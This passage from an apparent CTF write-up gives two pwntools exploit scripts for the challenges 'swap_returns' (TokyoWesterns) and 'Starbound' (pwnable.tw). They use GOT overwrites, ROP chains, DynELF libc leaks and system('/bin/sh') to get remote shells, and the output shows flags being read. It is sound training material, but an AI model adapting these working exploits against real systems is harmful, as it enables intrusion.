p.recvuntil('1st address: ')
p.sendline(str(addr1))
p.recvuntil('2nd address: ')
p.sendline(str(addr2))

def swap():
p.recvuntil('Your choice: ')
p.sendline('2')

def write_qword(qword, addr, qword_ref):
tmp_char = 0x601100
tmp_qword = 0x601200
c_qw = map(ord, list(p64(qword)))
for i, ch in enumerate(c_qw):
# Reference: veritas
set_num(tmp_char+ch, qword_ref) # p &p
swap() # *p=[0x601141] <- 0x601141 *(&p)=0x601141<-0x601141
set_num(tmp_qword+i, tmp_char+ch)
swap() # 0x6012{00} <- 0x6011{41} # 0x6012{01} <- 0x6011{42}
set_num(tmp_qword,addr)
swap()

def exploit():
atoi_got = binary.got['atoi']
puts_got = binary.got['puts']
printf_got = binary.got['printf']

p.recvuntil('Your choice: ')
p.sendline('') # Init printf@got.

set_num(atoi_got, printf_got)
swap()
p.sendline('%p')
p.recvuntil('Your choice: \n')
buf = int(p.recv(2+16).split('1. S')[0], 16)

log.info('buf = ' + hex(buf))
p.sendline(str(atoi_got))
p.sendline(str(printf_got))
p.sendline('1') # Reset atoi / printf

log.info('Try luck')
# one_gadget 0xf1651 execve("/bin/sh", rsp+0x40, environ)
# read@got 0x00 00 7f ?? ?? ?? 51 16
# buf + 0x30 - 6 -> mov rax, qword ptr [rbp-0x20]
write_qword(u64('\x00\x00\x00\x00\x00\x00\x51\x16'), 0x0000000000601040-6, buf + 0x30 - 6)
p.sendline('echo abc')
try:
recv = p.recvuntil('abc', timeout=1)
log.success('flaggy')
p.interactive()
except:
pass

if __name__ == '__main__':
log.setLevel(log.DEBUG)

for i in range(16): # 1/16 probability
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('swap.chal.ctf.westerns.tokyo', 37567)

log.success("Bin is runnable. %s with %s", BIN_PATH, LIBC_PATH)
exploit()

Flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Opening connection to swap.chal.ctf.westerns.tokyo on port 37567: Done
[+] Bin is runnable. ./swap with ./libc.so.6
[*] buf = 0x7fff478917b6
[*] Try luck
[+] flaggy
[*] Switching to interactive mode

$ ls
flag
start.sh
swap_returns
$ cat flag
TWCTF{unlimited_SWAP_Works}

pwnable.tw Starbound

Daily warm up : )

Strtol fails to check index boundary. Since libc is not provided, we should use DynELF instead.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# =*- coding: utf-8 -*-
from pwn import *

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib32/libc.so.6'
BIN_PATH = './starbound'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0
nptr = 0

def debug(command=''):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()

def input_cmd(cmd):
p.recvuntil('> ')
p.send(cmd)

def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))

def leak(addr):
p.recvuntil('> ')
bss_func_array = 0x8058154
offset = int(tohex(nptr - bss_func_array, 32), 16)
payload = str(offset / 4 + len(str(offset)) / 4 + 2) + '\x01' + 'A'*5

# esp -118h -> nptr -104h 0x14h+0x4(pushed addr) -> 0x18h
# 0x18h+0x10h (payload) -> 0x28h
# 0x28h - 0x1c - 4*0x4 - 0x4 = -0x08

# payload can point to rop onw
payload += p32(0x80496e0) # add esp, 0x1c; pop 4; ret
payload += p32(0xdeadbee1) # -0x04
payload += p32(binary.plt['write']) # -0x00
payload += p32(0x80494da) # pop ebx, pop esi, pop edi, ret
payload += p32(1) + p32(addr) + p32(4)

payload += p32(binary.sym['main'])

p.send(payload)

data = p.recv(4)
success('Leak address = ' + hex(addr))
print hexdump(data)

global nptr
# 0xf0: after sub esp, 110h
# 0x10: lea ebx, [esp+10h]
nptr -= (0xf0 - 0x10)
return data

def exploit():
bss_func_array = 0x8058154
puts_got = binary.got['puts']

info('puts@got')
print hexdump(puts_got)

offset = int(tohex(puts_got - bss_func_array, 32), 16)

# \x01: split for strtol

'''
pwndbg> hexdump 0xfff26fb0
+0000 0xfff26fb0 31 30 37 33 37 33 38 37 30 36 01 31 31 31 31 31 │1073│7387│06.1│1111│
+0010 0xfff26fc0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 │1111│1111│1111│1111│
...
+0030 0xfff26fe0 31 31 31 31 31 31 31 31 31 31 31 31 68 70 f2 ff │1111│1111│1111│hp..│
'''
payload = str(offset / 4) + '\x01' + '1'*49
input_cmd(payload)

p.recvuntil('1'*49)
leak_stack = u32(p.recv(4))

success('leak stack = ' + hex(leak_stack))

# leak 8bd88 / nptr 8bcd0
global nptr
nptr = leak_stack - (0xbd88 - 0xbcd0)
info('nptr = ' + hex(nptr))

d = DynELF(leak, elf=binary, libcdb=False)
system = d.lookup('system', 'libc')
success('system = ' + hex(system))

# Build final rop
offset = int(tohex(nptr - bss_func_array, 32), 16)
payload = str(offset / 4 + len(str(offset)) / 4 + 2) + '\x01' + 'A'*5

payload += p32(0x80496e0) # add esp, 0x1c; pop 4; ret
payload += p32(0xdeadbee1) # -0x04
payload += p32(binary.plt['read']) # -0x00
payload += p32(0x80494da)
payload += p32(0)
payload += p32(0x08058800) # bss
payload += p32(0x20)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(0x08058800)
p.send(payload)

p.send('/bin/sh\x00')

'''
> $ cat /home/starbound/flag
FLAG xxxxxxxxxxx
'''

p.interactive()


if __name__ == '__main__':
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('chall.pwnable.tw', 10202)

log.success("Bin is runnable. %s with %s", BIN_PATH, LIBC_PATH)
exploit()